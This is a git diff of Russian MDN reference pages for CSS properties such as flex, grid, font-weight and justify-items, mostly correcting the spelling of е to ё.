            diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 345b55bbaa..339db730a5 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-wrap ---
            {{ CSSRef}}
            -

            Свойство CSS flex-wrap задает правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.

            +

            Свойство CSS flex-wrap задаёт правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.

            flex-wrap: nowrap;
 flex-wrap: wrap;
diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html
index a0a28a86d8..e490167e82 100644
--- a/files/ru/web/css/flex/index.html
+++ b/files/ru/web/css/flex/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/flex
 
 
            Описание
            
 
-
            Свойство CSS flex - это сокращенное свойство, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает flex-grow, flex-shrink и  flex-basis.
            
+
            Свойство CSS flex - это сокращённое свойство, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает flex-grow, flex-shrink и  flex-basis.
            
 
 
            {{cssinfo}}
            
 
diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html
index d14d73e420..340654bd11 100644
--- a/files/ru/web/css/float/index.html
+++ b/files/ru/web/css/float/index.html
@@ -3,7 +3,7 @@ title: float
 slug: Web/CSS/float
 translation_of: Web/CSS/float
 ---
-
            Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}
            
+
            Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещён вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}
            
 
 
            Summary
            
 
diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html
index 79b25a5265..44df7fc34e 100644
--- a/files/ru/web/css/font-family/index.html
+++ b/files/ru/web/css/font-family/index.html
@@ -49,7 +49,7 @@ font-family: unset;
 
 
            Свойство font-family получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <family-name> или <generic-name>.
            
 
-
            В приведенном ниже примере перечислены два семейства шрифтов, первое <family-name>, а второе как <generic-name>:
            
+
            В приведённом ниже примере перечислены два семейства шрифтов, первое <family-name>, а второе как <generic-name>:
            
 
 
            font-family: Gill Sans Extrabold, sans-serif;
            
 
diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html
index f8545cc836..0415ac37bb 100644
--- a/files/ru/web/css/font-variant-ligatures/index.html
+++ b/files/ru/web/css/font-variant-ligatures/index.html
@@ -35,18 +35,18 @@ font-variant-ligatures: unset;
 
 
            
  
            normal
            
- 
            Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.
            
+ 
            Это ключевое слово ведёт к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.
            
  
            none
            
  
            Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.
            
  
            <common-lig-values>
            
- 
            Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний fi, ffi, th или подобных. Они относятся к значениям liga и clig в OpenType. Допустимы два значения:
+ 
            Эти значения контролируют наиболее распространённые лигатуры, такие как лигатуры для сочетаний fi, ffi, th или подобных. Они относятся к значениям liga и clig в OpenType. Допустимы два значения:
  
              
   
            • common-ligatures активирует эти лигатуры. Обратите внимание, что ключевое слово normal активирует лигатуры.
              • 
   
            • no-common-ligatures отключает эти лигатуры.
              • 
  
            
  
            
  
            <discretionary-lig-values>
            
- 
            Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта. Они соответствуют значениям OpenType hlig. Доступны два значения:
+ 
            Эти значения управляют определёнными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта. Они соответствуют значениям OpenType hlig. Доступны два значения:
  
              
   
            • discretionary-ligatures активирует данные лигатуры.
              • 
   
            • no-discretionary-ligatures деактивирует лигатуры. Обратите внимание, обычно, ключевое слово normal также деактивирует лигатуры.
              • 
diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html
index 386ede4092..1c15a5c863 100644
--- a/files/ru/web/css/font-weight/index.html
+++ b/files/ru/web/css/font-weight/index.html
@@ -132,7 +132,7 @@ font-weight: unset;
 
 
              Определение веса имени
              
 
-
              Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:
              
+
              Значения от 100 до 900, примерно, соответствуют следующим распространённым именам насыщенности:
            {{SpecName('CSS4 Colors', '#colorunits', '<color>')}} {{Spec2('CSS4 Colors')}}Добавляет rebeccapurple, четырехзначные (#RGBA) и восьмизначные (#RRGGBBAA) шестнадцатеричные обозначения, rgba() и hsla() в качестве псевдонимов rgb () и hsl () (оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах hsl ().Добавляет rebeccapurple, четырёхзначные (#RGBA) и восьмизначные (#RRGGBBAA) шестнадцатеричные обозначения, rgba() и hsla() в качестве псевдонимов rgb () и hsl () (оба с одинаковым синтаксисом параметров), разделённые пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах hsl ().
            {{SpecName('CSS3 Colors', '#colorunits', '<color>')}}
            @@ -176,14 +176,14 @@ font-weight: unset; - +
            900Черный (Густой) Black (Heavy)Чёрный (Густой) Black (Heavy)

            Интерполяция

            -

            Значения font-weight интерполируются  с помощью дискретных шагов (кратные 100). Интерполяция происходит в действительном пространстве чисел и превращается в целое число путем округления до ближайшего числа, кратного 100, со значениями посредине между кратными 100 округленными в сторону положительной бесконечности.

            +

            Значения font-weight интерполируются  с помощью дискретных шагов (кратные 100). Интерполяция происходит в действительном пространстве чисел и превращается в целое число путём округления до ближайшего числа, кратного 100, со значениями посредине между кратными 100 округлёнными в сторону положительной бесконечности.

            Формальный синтаксис

            @@ -214,7 +214,7 @@ p { } /* Назначение тексту элемента <div> жирности, которая больше на два уровня, -чем normal, но все еще меньше, чем стандартный bold. */ +чем normal, но все ещё меньше, чем стандартный bold. */ div { font-weight: 600; } diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index dc3278e054..329684753a 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/font -

            Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью font, но они также сбрасываются к своим начальным значениям.

            +

            Как и с любым сокращённым свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращённых свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью font, но они также сбрасываются к своим начальным значениям.

            Синтаксис

            diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html index dcbbae226f..2712892e54 100644 --- a/files/ru/web/css/grid-area/index.html +++ b/files/ru/web/css/grid-area/index.html @@ -3,7 +3,7 @@ title: grid-area slug: Web/CSS/grid-area translation_of: Web/CSS/grid-area --- -

            CSS свойство grid-area - это сокращенная форма записи для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.

            +

            CSS свойство grid-area - это сокращённая форма записи для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задаёт края {{glossary("grid areas", "грид-области")}} грид-элемента.

            /* Ключевые слова в качестве значений */
 grid-area: auto;
@@ -30,7 +30,7 @@ grid-area: initial;
 grid-area: unset;
            -

            Если заданы четыре значения <grid-line> , то первое значение определяет grid-row-start , второе значение -  grid-column-start , третье значение -  grid-row-end и четвертое значение -  grid-column-end.

            +

            Если заданы четыре значения <grid-line> , то первое значение определяет grid-row-start , второе значение -  grid-column-start , третье значение -  grid-row-end и четвёртое значение -  grid-column-end.

            Если  grid-column-end опущено, а grid-column-start в значении {{cssxref("<custom-ident>")}}, grid-column-end устанавливается в это значение <custom-ident>; иначе оно устанавливается в значение auto.

            diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 35d6789975..226db2bb76 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -35,9 +35,9 @@ grid-auto-flow: unset;
            row
            -
            Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.
            +
            Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.
            column
            -
            Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.
            +
            Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждый столбец и добавляя новые столбцы по мере необходимости.
            dense
            Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответствии с размером.

            diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html index 15559e4134..5817eef381 100644 --- a/files/ru/web/css/grid-row-start/index.html +++ b/files/ru/web/css/grid-row-start/index.html @@ -55,7 +55,7 @@ grid-row-start: unset;

            В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <custom-ident>.

            <integer> && <custom-ident>?
            -
            Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как <custom-ident>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.
            +
            Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчёт, начиная с конечного края явной сетки. Если имя задано как <custom-ident>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.

            An {{cssxref("integer")}} value of 0 is invalid.

            diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html index 6827415b30..3e9a83e744 100644 --- a/files/ru/web/css/grid-template-areas/index.html +++ b/files/ru/web/css/grid-template-areas/index.html @@ -33,7 +33,7 @@ grid-template-areas: unset;
            none
            Контейнер не определяет никаких названий grid-области.
            {{cssxref("<string>")}}+
            -
            Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.
            +
            Строка создаётся каждым переносом строки, тогда как каждая колонка создаётся в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создаёт одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.

            Формальный синтаксис

            diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index fda2e71bb3..546a42ed31 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -59,9 +59,9 @@ grid-template-columns: unset;
            min-content
            Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.
            {{cssxref("minmax", "minmax(min, max)")}}
            -
            Функциональное обозначение, которое задает диапазон больший или равный min и меньший или равный max. Если max меньше чем min, тогда max игнорируется и эта функция рассматривается как min. Максимумом значение <flex> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.
            +
            Функциональное обозначение, которое задаёт диапазон больший или равный min и меньший или равный max. Если max меньше чем min, тогда max игнорируется и эта функция рассматривается как min. Максимумом значение <flex> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.
            auto
            -
            Это ключевое слово идентично max-content, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.
            +
            Это ключевое слово идентично max-content, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определён в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.

            Обратите внимание: Только auto размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.

            diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html index a6d1c4b36b..e4343f33b6 100644 --- a/files/ru/web/css/grid-template-rows/index.html +++ b/files/ru/web/css/grid-template-rows/index.html @@ -52,7 +52,7 @@ grid-template-rows: unset;
            <length>
            Неотрицательное значение размера.
            <percentage>
            -
            Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как auto. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.
            +
            Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как auto. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учёту процента.

            {{cssxref("<flex_value>","<flex>")}}
            Is a non-negative dimension with the unit fr specifying the track’s flex factor. Each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)).
            diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html index 5ae9d4a987..35d648aa50 100644 --- a/files/ru/web/css/grid/index.html +++ b/files/ru/web/css/grid/index.html @@ -10,9 +10,9 @@ translation_of: Web/CSS/grid ---

            Общие сведения

            -

            Свойство CSS grid является сокращенной формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.

            +

            Свойство CSS grid является сокращённой формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.

            -

            Note: В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращенной форме записи.

            +

            Note: В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращённых формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращённой формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращённой форме записи.

            {{cssinfo}}

            @@ -176,7 +176,7 @@ grid: unset;

            [2] Реализован за преимуществом layout.css.grid.enabled начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию false. Начиная с  Gecko 52.0 включено по умолчанию.

            -

            [3] Internet Explorer и Edge реализуют старую версию спецификации, которая не поддерживает сокращенную форму записи grid. Смотри request for updating the implementation.

            +

            [3] Internet Explorer и Edge реализуют старую версию спецификации, которая не поддерживает сокращённую форму записи grid. Смотри request for updating the implementation.

            [4] Реализован до  функциональных возможностей экспериментальной веб-платформы в chrome://flags начиная с Opera 28.0.

            diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html index 15aee9db7b..b150404bab 100644 --- a/files/ru/web/css/hanging-punctuation/index.html +++ b/files/ru/web/css/hanging-punctuation/index.html @@ -37,7 +37,7 @@ hanging-punctuation: unset;

            Синтаксис

            -

            Свойство hanging-punctuation  может быть определено с помощью одного, двух или трех ключевых слов.

            +

            Свойство hanging-punctuation  может быть определено с помощью одного, двух или трёх ключевых слов.

            • Для одного значения может быть использовано любое из описанных ниже значений.
              • @@ -47,7 +47,7 @@ hanging-punctuation: unset;
            • last вместе с одним из first, allow-end или force-end
            -
          • Для трех значений используются один из следующих вариантов: +
          • Для трёх значений используются один из следующих вариантов:
            • first, allow-end и last
            • first, force-end и last
              • diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 5a256e224d..6bf95b2456 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -53,7 +53,7 @@ hyphens: unset;
              U+2010 (HYPHEN)
              -
              «Жесткий» дефис указывает на возможность видимого разрыва строки. Даже если строка в этом месте не переносится, дефис все равно отображается.
              +
              «Жёсткий» дефис указывает на возможность видимого разрыва строки. Даже если строка в этом месте не переносится, дефис все равно отображается.
              U+00AD (SHY)
              Невидимый «мягкий» перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте &shy; для вставки мягкого дефиса.
              diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html index f837d98a4b..9f00bc8ca7 100644 --- a/files/ru/web/css/image-set()/index.html +++ b/files/ru/web/css/image-set()/index.html @@ -34,7 +34,7 @@ translation_of: Web/CSS/image-set()

              Вопросы доступности

              -

              Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.

              +

              Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своём присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать её семантически в документе.

              • MDN Understanding WCAG, Guideline 1.1 explanations
                • diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html index 128ae1fda3..eb959f3866 100644 --- a/files/ru/web/css/index.html +++ b/files/ru/web/css/index.html @@ -8,7 +8,7 @@ tags: - Learning - Reference - Référence(2) - - Верстка + - Вёрстка - Главная - Дизайн - Справка diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html index 5304dc4d9d..b24d30e524 100644 --- a/files/ru/web/css/inherit/index.html +++ b/files/ru/web/css/inherit/index.html @@ -24,10 +24,10 @@ translation_of: Web/CSS/inherit

                Пример

                -
                /* Делает заголовки второго уровня зелеными */
+
                /* Делает заголовки второго уровня зелёными */
 h2 { color: green; }
 
-/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */
+/* ...но не делает зелёными элементы боковой панели, которые используют цвет своего родителя */
 #sidebar h2 { color: inherit; }
 
                
 
@@ -83,5 +83,5 @@ div#current { color: blue; }
  
              • Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.
                • 
  
              • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
                • 
  
              • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
                • 
- 
              • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
                • 
+ 
              • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.
                •
              diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html index 65187f0ab5..5bc7850151 100644 --- a/files/ru/web/css/initial/index.html +++ b/files/ru/web/css/initial/index.html @@ -79,5 +79,5 @@ em {
            • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
            • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
            • Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.
              • -
            • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
              • +
            • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.
            diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html index 8cbf51bf1d..88071325e5 100644 --- a/files/ru/web/css/inset/index.html +++ b/files/ru/web/css/inset/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/inset ---
            {{CSSRef}}{{SeeCompatTable}}
            -

            Свойство CSS inset определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

            +

            Свойство CSS inset определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определённых для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

            /* <length> значения */
 inset: 3px 10px 3px 10px;
diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html
index c608250e6c..a7240a3e81 100644
--- a/files/ru/web/css/integer/index.html
+++ b/files/ru/web/css/integer/index.html
@@ -33,7 +33,7 @@ translation_of: Web/CSS/integer
 
 
            12.0        Это <number>, а не <integer>, хоть и представляется как целое число.
 12.         "Дробные" точки запрещены.
-+---12      Разрешен только один предшествующий символ +/-.
++---12      Разрешён только один предшествующий символ +/-.
 десять      Буквы запрещены.
 _5          Специальные знаки запрещены.
 \35         Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5).
diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html
index 52deb89e55..7153c6f925 100644
--- a/files/ru/web/css/isolation/index.html
+++ b/files/ru/web/css/isolation/index.html
@@ -3,7 +3,7 @@ title: isolation
 slug: Web/CSS/isolation
 tags:
   - Контекст наложения
-  - Очередность
+  - Очерёдность
   - Порядок отрисовки
 translation_of: Web/CSS/isolation
 ---
@@ -35,7 +35,7 @@ isolation: unset;
 
 
            
  
            auto
            
- 
            Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.
            
+ 
            Новый контекст наложения создаётся только в том случае, если это требуется для одного из свойств, применяемых к элементу.
            
  
            isolate
            
  
            Новый контекст наложения должен быть создан.
            
 
            
diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html
index ab44ce45bb..33263a5442 100644
--- a/files/ru/web/css/justify-content/index.html
+++ b/files/ru/web/css/justify-content/index.html
@@ -14,7 +14,7 @@ translation_of: Web/CSS/justify-content
 
 
            {{EmbedInteractiveExample("pages/css/justify-content.html")}}
            
 
-
            Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во Flexbox разметке есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от 0, эффект не будет применен, потому что не останется свободного места.
            
+
            Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во Flexbox разметке есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от 0, эффект не будет применён, потому что не останется свободного места.
            
 
 
            Синтаксис
            
 
@@ -32,7 +32,7 @@ justify-content: baseline;
 justify-content: first baseline;
 justify-content: last baseline;
 
-/* Распределенное выравнивание */
+/* Распределённое выравнивание */
 justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока.
                                    Первый элемент вначале, последний в конце */
 justify-content: space-around;  /* Равномерно распределяет все элементы по ширине flex-блока.
@@ -74,7 +74,7 @@ justify-content: unset;
  
            right
            
  
            Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  start.
            
  
            normal
            
- 
            Элементы располагаются на своих обычных позициях, так как будто свойство justify-content не задано. Этот параметр ведет себя как stretch в grid и flex контейнерах.
            
+ 
            Элементы располагаются на своих обычных позициях, так как будто свойство justify-content не задано. Этот параметр ведёт себя как stretch в grid и flex контейнерах.
            
  
            baseline
            
  first baseline
            
  last baseline
            
diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html
index 4e28a766e9..e33b891277 100644
--- a/files/ru/web/css/justify-items/index.html
+++ b/files/ru/web/css/justify-items/index.html
@@ -65,7 +65,7 @@ justify-items: initial;
 justify-items: unset;
 
            
 
-
            Этот атрибут может принимать одну из четырех различных форм:
            
+
            Этот атрибут может принимать одну из четырёх различных форм:
            
 
 
              
  
            • Основные ключевые слова: одно из значений ключевого слова: normal, auto, или stretch.
              • 
@@ -83,10 +83,10 @@ justify-items: unset;
  
              Эффект этого атрибута зависит от выбранного способа разметки:
  
                
   
              • Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова start
                • 
-  
              • Для разметки с абсолютно позиционированный элементами, это ключевое слово ведет себя как start на замененных блоках с абсолютным позиционированием и как stretch на всех остальных блоках с абсолютным позиционированием
                • 
+  
              • Для разметки с абсолютно позиционированный элементами, это ключевое слово ведёт себя как start на заменённых блоках с абсолютным позиционированием и как stretch на всех остальных блоках с абсолютным позиционированием
                • 
   
              • Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
                • 
   
              • Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
                • 
-  
              • Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению stretch, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как start
                • 
+  
              • Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению stretch, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведёт себя как start
                • 
  
              
  
              
  
              start
              
@@ -104,22 +104,22 @@ justify-items: unset;
  
              center
              
  
              Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.
              
  
              left
              
- 
              Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
              
+ 
              Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как start.
              
  
              right
              
- 
              Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как start.
              
+ 
              Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как start.
              
  
              baseline
              
  first baseline
              
  last baseline
              
  
              Определяет участие значений first baseline или last baseline в исходном выравнивании. Значение baseline выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.
              
  
              Возвратным выравниванием для first baseline является значение start, для last baseline является значение end.
              
  
              stretch
              
- 
              Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением auto увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.
              
+ 
              Если объединённый размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением auto увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединённый размер точно заполняет контейнер выравнивания.
              
  
              safe
              
  
